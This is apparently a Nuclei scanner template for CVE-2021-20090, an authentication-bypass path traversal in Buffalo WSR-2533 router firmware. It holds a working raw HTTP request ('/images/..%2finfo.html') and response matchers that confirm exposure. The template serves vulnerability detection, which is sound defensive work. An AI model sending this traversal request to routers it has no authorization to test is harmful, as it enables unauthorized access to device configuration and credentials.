Buffalo WSR-2533DHPL2 - Path Traversal

id: CVE-2021-20090

info:
  name: Buffalo WSR-2533DHPL2 - Path Traversal
  author: gy741
  severity: critical
  description: |
    Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 are susceptible to a path traversal vulnerability that could allow unauthenticated remote attackers to bypass authentication in their web interfaces.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, such as configuration files, credentials, or other sensitive information.
  remediation: |
    Apply the latest firmware update provided by Buffalo to fix the path traversal vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2021-13
    - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20090
    - https://www.kb.cert.org/vuls/id/914124
    - https://www.secpod.com/blog/arcadyan-based-routers-and-modems-under-active-exploitation/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-20090
    cwe-id: CWE-22
    epss-score: 0.99983
    epss-percentile: 0.99981
    cpe: cpe:2.3:o:buffalo:wsr-2533dhpl2-bk_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: buffalo
    product: wsr-2533dhpl2-bk_firmware
  tags: cve,cve2021,lfi,buffalo,firmware,iot,kev,tenable,vkev,vuln

http:
  - raw:
      - |
        GET /images/..%2finfo.html HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/info.html

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'URLToken(cgi_path)'
          - 'pppoe'
          - 'wan'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a5ed281f6d8623042daf51b3c133dd255d9cee4d55836913a5a223fa5b237bc7022100ddf0ff3c31906a28960179a3fa725d16b5be1d7ae13286781ffffa58f33a3ebd:922c64590222798bb761d5b6d8e72950